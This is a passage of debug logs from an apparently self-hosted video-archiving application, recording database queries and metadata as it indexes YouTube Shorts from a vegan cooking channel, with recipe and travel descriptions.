479, "timestamp" => 1651165530, "title" => "WASH YOUR BOK CHOY! 🥬", "upload_date" => "20220428"} 20:30:50.593 [debug] QUERY OK source="sources" db=1.3ms idle=4.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:30:50.593 [debug] QUERY OK source="sources" db=0.2ms idle=4.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:30:50.596 [debug] QUERY OK source="media_items" db=1.8ms queue=0.2ms idle=4.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-04-28 17:05:30Z], 1] 20:30:50.597 [debug] QUERY OK source="media_items" db=1.0ms idle=5.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["How to wash + prep [rescued] baby bok choy 🥬 feat. @pekoproduce !\n\nRegular and baby bok choy can be pretty dirty - so here’s the easiest way to wash and prep them so you can get straight to munching 😁\n\nSlice off the bottom inch - place the leafy greens in a colander - rinse in cold water thoroughly to wash off any dirt - dry in a salad spinner/towel - READY TO USE! 🤩\n\nI steamed them with just a pinch of salt and pepper - simply delicious! 😍 Who else got some of this good green stuff in their #pekoproduce box this week? 🥬🥬🥬\n\nPS: Peko Produce is Vancouver’s 🇨🇦 first imperfect produce delivery service that saves thousands of pounds of perfectly edible/surplus produce from going to our #landfills. They are helping to battle Canada’s #foodwaste crises and have made it SO easy for you too, as well! For only $25 per mystery box of ‘peculiar’ produce you can help Peko, our farmers and Mother Earth 🌍 $5 OFF LINK IN @steamyvegankitchen BIO! \n\n#steamyvegankitchen #steamyvegan #foodwastewarriors #climatecrises #foodprepping #foodprepideas #mealprepideas #vancityvegans #vancityfoodies #vancouvervegans #vancouverveganfoodie\n\nMusic by frumhere - designer sadness. - https://thmatc.co/?l=795A6766", "WASH YOUR BOK CHOY! 🥬", "bc96e98c-739d-45fb-b079-153606fe3c54", 1, [], 20, false, "YOLHBhFacXs", "https://www.youtube.com/shorts/YOLHBhFacXs", 479, "/downloads/downloads/alec/Steamy Vegan/2022-04-28 WASH YOUR BOK CHOY! 🥬/WASH YOUR BOK CHOY! 🥬 [YOLHBhFacXs].NA", false, false, true, 1, ~U[2022-04-28 17:05:30Z], ~U[2026-03-22 03:30:50Z], ~U[2026-03-22 03:30:50Z], "How to wash + prep [rescued] baby bok choy 🥬 feat. @pekoproduce !\n\nRegular and baby bok choy can be pretty dirty - so here’s the easiest way to wash and prep them so you can get straight to munching 😁\n\nSlice off the bottom inch - place the leafy greens in a colander - rinse in cold water thoroughly to wash off any dirt - dry in a salad spinner/towel - READY TO USE! 🤩\n\nI steamed them with just a pinch of salt and pepper - simply delicious! 😍 Who else got some of this good green stuff in their #pekoproduce box this week? 🥬🥬🥬\n\nPS: Peko Produce is Vancouver’s 🇨🇦 first imperfect produce delivery service that saves thousands of pounds of perfectly edible/surplus produce from going to our #landfills. They are helping to battle Canada’s #foodwaste crises and have made it SO easy for you too, as well! For only $25 per mystery box of ‘peculiar’ produce you can help Peko, our farmers and Mother Earth 🌍 $5 OFF LINK IN @steamyvegankitchen BIO! \n\n#steamyvegankitchen #steamyvegan #foodwastewarriors #climatecrises #foodprepping #foodprepideas #mealprepideas #vancityvegans #vancityfoodies #vancouvervegans #vancouverveganfoodie\n\nMusic by frumhere - designer sadness. - https://thmatc.co/?l=795A6766", "WASH YOUR BOK CHOY! 🥬", 1, 20, false, "YOLHBhFacXs", "https://www.youtube.com/shorts/YOLHBhFacXs", "/downloads/downloads/alec/Steamy Vegan/2022-04-28 WASH YOUR BOK CHOY! 🥬/WASH YOUR BOK CHOY! 🥬 [YOLHBhFacXs].NA", true, ~U[2022-04-28 17:05:30Z]] 20:30:50.598 [debug] QUERY OK source="sources" db=0.7ms idle=6.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:30:50.599 [debug] QUERY OK source="media_profiles" db=0.4ms idle=5.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:30:50.599 [debug] QUERY OK source="media_items" db=0.6ms idle=5.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [868] 20:30:50.600 [debug] Current batch of media processed. Will check again in 1000ms 20:30:51.601 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "The BEST truffle fries in Canada! 🇨🇦 🍟 \n\nThat CRUNCH 🤤 Whenever we visit #bowenisland we ALWAYS have to stop at @rustiquebistrobowen at least once (usually more 😅) because their TRUFFLE FRIES ARE OUT OF THIS WORLD! \n\nThey come with Parmesan cheese but if you ask they’ll serve it without 😉 #makeitvegan They’re hot, crispy, salty and soooo truffley… if you’re heading to Bowen anytime soon DON’T skip this! I promise you won’t regret it 😍\n\n#steamyvegankitchen #steamyvegan #rustiquebistroonbowen #trufflefries #bowenislandtourism #bowenislandbc #bowenislandlife #vancityvegan #vancityvegans #vancity #vancitybuzz #vancityeats #vancityfeature #vancouverfoodie #vancouverveganfoodie #vancouvervegan #vancouvervegans #vancouverveganscene", "duration" => 28, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-04-27 BEST truffle fries in Canada! 🇨🇦 🍟/BEST truffle fries in Canada! 🇨🇦 🍟 [UDb4Ljs4YOs].NA", "id" => "UDb4Ljs4YOs", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/UDb4Ljs4YOs", "playlist_index" => 480, "timestamp" => 1651076331, "title" => "BEST truffle fries in Canada! 🇨🇦 🍟", "upload_date" => "20220427"} 20:30:51.602 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=1004.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:30:51.603 [debug] QUERY OK source="sources" db=0.6ms idle=1004.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:30:51.606 [debug] QUERY OK source="media_items" db=2.5ms idle=1005.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-04-27 16:18:51Z], 1] 20:30:51.609 [debug] QUERY OK source="media_items" db=2.1ms idle=1007.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["The BEST truffle fries in Canada! 🇨🇦 🍟 \n\nThat CRUNCH 🤤 Whenever we visit #bowenisland we ALWAYS have to stop at @rustiquebistrobowen at least once (usually more 😅) because their TRUFFLE FRIES ARE OUT OF THIS WORLD! \n\nThey come with Parmesan cheese but if you ask they’ll serve it without 😉 #makeitvegan They’re hot, crispy, salty and soooo truffley… if you’re heading to Bowen anytime soon DON’T skip this! I promise you won’t regret it 😍\n\n#steamyvegankitchen #steamyvegan #rustiquebistroonbowen #trufflefries #bowenislandtourism #bowenislandbc #bowenislandlife #vancityvegan #vancityvegans #vancity #vancitybuzz #vancityeats #vancityfeature #vancouverfoodie #vancouverveganfoodie #vancouvervegan #vancouvervegans #vancouverveganscene", "BEST truffle fries in Canada! 🇨🇦 🍟", "22dc7b4c-0087-4d3d-aeae-24ad460cee76", 1, [], 28, false, "UDb4Ljs4YOs", "https://www.youtube.com/shorts/UDb4Ljs4YOs", 480, "/downloads/downloads/alec/Steamy Vegan/2022-04-27 BEST truffle fries in Canada! 🇨🇦 🍟/BEST truffle fries in Canada! 🇨🇦 🍟 [UDb4Ljs4YOs].NA", false, false, true, 0, ~U[2022-04-27 16:18:51Z], ~U[2026-03-22 03:30:51Z], ~U[2026-03-22 03:30:51Z], "The BEST truffle fries in Canada! 🇨🇦 🍟 \n\nThat CRUNCH 🤤 Whenever we visit #bowenisland we ALWAYS have to stop at @rustiquebistrobowen at least once (usually more 😅) because their TRUFFLE FRIES ARE OUT OF THIS WORLD! \n\nThey come with Parmesan cheese but if you ask they’ll serve it without 😉 #makeitvegan They’re hot, crispy, salty and soooo truffley… if you’re heading to Bowen anytime soon DON’T skip this! I promise you won’t regret it 😍\n\n#steamyvegankitchen #steamyvegan #rustiquebistroonbowen #trufflefries #bowenislandtourism #bowenislandbc #bowenislandlife #vancityvegan #vancityvegans #vancity #vancitybuzz #vancityeats #vancityfeature #vancouverfoodie #vancouverveganfoodie #vancouvervegan #vancouvervegans #vancouverveganscene", "BEST truffle fries in Canada! 🇨🇦 🍟", 1, 28, false, "UDb4Ljs4YOs", "https://www.youtube.com/shorts/UDb4Ljs4YOs", "/downloads/downloads/alec/Steamy Vegan/2022-04-27 BEST truffle fries in Canada! 🇨🇦 🍟/BEST truffle fries in Canada! 🇨🇦 🍟 [UDb4Ljs4YOs].NA", true, ~U[2022-04-27 16:18:51Z]] 20:30:51.610 [debug] QUERY OK source="sources" db=0.4ms idle=892.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:30:51.610 [debug] QUERY OK source="media_profiles" db=0.5ms idle=7.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:30:51.611 [debug] QUERY OK source="media_items" db=0.4ms idle=7.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [869] 20:30:51.611 [debug] Current batch of media processed. Will check again in 1000ms 20:30:52.612 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "ROASTED GARLIC 🧄 + ONION 🧅 DIP feat. rescued produce from @pekoproduce 🙌🏻 #VeganGlutenFree, baby!\n\nWho else got loads of cute little onions in their #pekoproduce boxes this Sunday? 🙋🏻\u200D♀️ I knew I had to make something yummy with them so I made this delicious and plant-based protein packed dip! 🤤 \n\nIt’s perfectly sweet and savoury that packs a BIG punch 🥊 of flavour! 😋\n\nINGREDIENTS\n🔸3 cups roughly chopped [rescued] onion (roughly 6 small)\n🔸1 bulb garlic, top sliced off \n🔸1 tbsp maple syrup \n🔸1 tbsp GF soy sauce or tamari\n🔸1.5 tsp neutral oil \n🔸1/2 tsp sea salt \n🔸1.5 tsp nooch \n🔸1 cup soaked cashews \n🔸1 can white kidney beans \n🔸juice of 1/2 a lemon (🍋 rescued!) \n🔸few splashes of nondairy milk (plain unsweetened)\n🔸extra s+p to taste \n\nToss the chopped onions in a large bowl with the maple syrup, soy sauce, oil, salt and nooch until combined - spread out on a baking sheet - drizzle oil on cut part of garlic bulb and wrap in foil, place on baking sheet - bake for 40 minutes at 425F until golden with crispy edges - once cool enough to handle add roasted veg to food processor or high speed blender - add all remaining ingredients and blend until smooth (you will need to stop several times to scrape the edges and add more milk as needed to help it blend) - transfer to a bowl and chill if desired - serve with veggies, chips or in wraps and sandwiches - ENJOY!!! \n\nFollow @steamyvegankitchen for more steamy vegan recipes! ✅\n\n#steamyvegankitchen #steamyvegan #thriftymeals #thriftycooking #cheapvegan #cheapveganmeals #cheaplazyvegan #whatscooking #vancitybuzz ##buzzfeedfoods #vancityvegan #vancityvegans #vancity #yvrvegan #easyveganmeals #lowwaste #lowwasteliving #lowwastecooking #lowwastekitchen #sustainablecook #sustainablecooking #foodwastewarriors", "duration" => 60, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-04-26 ROASTED GARLIC + ONION DIP feat. rescued produce from #PekoProduce! 🧄🧅 Vegan Gluten-Free/ROASTED GARLIC + ONION DIP feat. rescued produce from #PekoProduce! 🧄🧅 Vegan Gluten-Free [UJ18IS21cMo].NA", "id" => "UJ18IS21cMo", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/UJ18IS21cMo", "playlist_index" => 481, "timestamp" => 1650990435, "title" => "ROASTED GARLIC + ONION DIP feat. rescued produce from #PekoProduce! 🧄🧅 Vegan Gluten-Free", "upload_date" => "20220426"} 20:30:52.613 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=1003.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:30:52.613 [debug] QUERY OK source="sources" db=0.3ms idle=1003.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:30:52.616 [debug] QUERY OK source="media_items" db=2.0ms idle=1003.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-04-26 16:27:15Z], 1] 20:30:52.617 [debug] QUERY OK source="media_items" db=1.1ms idle=1004.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ROASTED GARLIC 🧄 + ONION 🧅 DIP feat. rescued produce from @pekoproduce 🙌🏻 #VeganGlutenFree, baby!\n\nWho else got loads of cute little onions in their #pekoproduce boxes this Sunday? 🙋🏻\u200D♀️ I knew I had to make something yummy with them so I made this delicious and plant-based protein packed dip! 🤤 \n\nIt’s perfectly sweet and savoury that packs a BIG punch 🥊 of flavour! 😋\n\nINGREDIENTS\n🔸3 cups roughly chopped [rescued] onion (roughly 6 small)\n🔸1 bulb garlic, top sliced off \n🔸1 tbsp maple syrup \n🔸1 tbsp GF soy sauce or tamari\n🔸1.5 tsp neutral oil \n🔸1/2 tsp sea salt \n🔸1.5 tsp nooch \n🔸1 cup soaked cashews \n🔸1 can white kidney beans \n🔸juice of 1/2 a lemon (🍋 rescued!) \n🔸few splashes of nondairy milk (plain unsweetened)\n🔸extra s+p to taste \n\nToss the chopped onions in a large bowl with the maple syrup, soy sauce, oil, salt and nooch until combined - spread out on a baking sheet - drizzle oil on cut part of garlic bulb and wrap in foil, place on baking sheet - bake for 40 minutes at 425F until golden with crispy edges - once cool enough to handle add roasted veg to food processor or high speed blender - add all remaining ingredients and blend until smooth (you will need to stop several times to scrape the edges and add more milk as needed to help it blend) - transfer to a bowl and chill if desired - serve with veggies, chips or in wraps and sandwiches - ENJOY!!! \n\nFollow @steamyvegankitchen for more steamy vegan recipes! ✅\n\n#steamyvegankitchen #steamyvegan #thriftymeals #thriftycooking #cheapvegan #cheapveganmeals #cheaplazyvegan #whatscooking #vancitybuzz ##buzzfeedfoods #vancityvegan #vancityvegans #vancity #yvrvegan #easyveganmeals #lowwaste #lowwasteliving #lowwastecooking #lowwastekitchen #sustainablecook #sustainablecooking #foodwastewarriors", "ROASTED GARLIC + ONION DIP feat. rescued produce from #PekoProduce! 🧄🧅 Vegan Gluten-Free", "5254a840-7ce6-4fb6-a907-0d6625b89e8c", 1, [], 60, false, "UJ18IS21cMo", "https://www.youtube.com/shorts/UJ18IS21cMo", 481, "/downloads/downloads/alec/Steamy Vegan/2022-04-26 ROASTED GARLIC + ONION DIP feat. rescued produce from #PekoProduce! 🧄🧅 Vegan Gluten-Free/ROASTED GARLIC + ONION DIP feat. rescued produce from #PekoProduce! 🧄🧅 Vegan Gluten-Free [UJ18IS21cMo].NA", false, false, true, 0, ~U[2022-04-26 16:27:15Z], ~U[2026-03-22 03:30:52Z], ~U[2026-03-22 03:30:52Z], "ROASTED GARLIC 🧄 + ONION 🧅 DIP feat. rescued produce from @pekoproduce 🙌🏻 #VeganGlutenFree, baby!\n\nWho else got loads of cute little onions in their #pekoproduce boxes this Sunday? 🙋🏻\u200D♀️ I knew I had to make something yummy with them so I made this delicious and plant-based protein packed dip! 🤤 \n\nIt’s perfectly sweet and savoury that packs a BIG punch 🥊 of flavour! 😋\n\nINGREDIENTS\n🔸3 cups roughly chopped [rescued] onion (roughly 6 small)\n🔸1 bulb garlic, top sliced off \n🔸1 tbsp maple syrup \n🔸1 tbsp GF soy sauce or tamari\n🔸1.5 tsp neutral oil \n🔸1/2 tsp sea salt \n🔸1.5 tsp nooch \n🔸1 cup soaked cashews \n🔸1 can white kidney beans \n🔸juice of 1/2 a lemon (🍋 rescued!) \n🔸few splashes of nondairy milk (plain unsweetened)\n🔸extra s+p to taste \n\nToss the chopped onions in a large bowl with the maple syrup, soy sauce, oil, salt and nooch until combined - spread out on a baking sheet - drizzle oil on cut part of garlic bulb and wrap in foil, place on baking sheet - bake for 40 minutes at 425F until golden with crispy edges - once cool enough to handle add roasted veg to food processor or high speed blender - add all remaining ingredients and blend until smooth (you will need to stop several times to scrape the edges and add more milk as needed to help it blend) - transfer to a bowl and chill if desired - serve with veggies, chips or in wraps and sandwiches - ENJOY!!! \n\nFollow @steamyvegankitchen for more steamy vegan recipes! ✅\n\n#steamyvegankitchen #steamyvegan #thriftymeals #thriftycooking #cheapvegan #cheapveganmeals #cheaplazyvegan #whatscooking #vancitybuzz ##buzzfeedfoods #vancityvegan #vancityvegans #vancity #yvrvegan #easyveganmeals #lowwaste #lowwasteliving #lowwastecooking #lowwastekitchen #sustainablecook #sustainablecooking #foodwastewarriors", "ROASTED GARLIC + ONION DIP feat. rescued produce from #PekoProduce! 🧄🧅 Vegan Gluten-Free", 1, 60, false, "UJ18IS21cMo", "https://www.youtube.com/shorts/UJ18IS21cMo", "/downloads/downloads/alec/Steamy Vegan/2022-04-26 ROASTED GARLIC + ONION DIP feat. rescued produce from #PekoProduce! 🧄🧅 Vegan Gluten-Free/ROASTED GARLIC + ONION DIP feat. rescued produce from #PekoProduce! 🧄🧅 Vegan Gluten-Free [UJ18IS21cMo].NA", true, ~U[2022-04-26 16:27:15Z]] 20:30:52.618 [debug] QUERY OK source="sources" db=0.3ms idle=898.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:30:52.618 [debug] QUERY OK source="media_profiles" db=0.5ms idle=5.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:30:52.619 [debug] QUERY OK source="media_items" db=0.5ms idle=5.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [870] 20:30:52.619 [debug] Current batch of media processed. Will check again in 1000ms 20:30:53.620 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "ESCAPE FROM SNUG COVE!!! 🌊 \n\nBrad and I went to Bowen Island 🇨🇦 for our 5 year wedding anniversary (as we do every year!) and we just couldn’t help ourselves from being silly 🙃 \n\nWILL WE MAKE IT OUT ALIVE? 😱 Only one way to find out. Stay tuned for our very first vlog hitting our YouTube channel later this week! Plus maybe a few mini vlogs on the ‘gram 🤓\n\n#steamyvegankitchen #steamyvegan #bowenisland #bowenislandtourism #bowenislandbc #beautifulbritishcolumbia🇨🇦 #weddinganniversary #tourismbc #snugcove #snugcovebowenisland #yvrvegan #yvrvegans #yvr #yvrtravel #vancitybuzz #vancityfeature #vancityvibe #vancityvegans #vancityvegan #yvrfoodie", "duration" => 59, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-04-26 ESCAPE FROM SNUG COVE 🌊/ESCAPE FROM SNUG COVE 🌊 [WRzEeEwxOeE].NA", "id" => "WRzEeEwxOeE", "live_status" => "not_live", "original_url" => 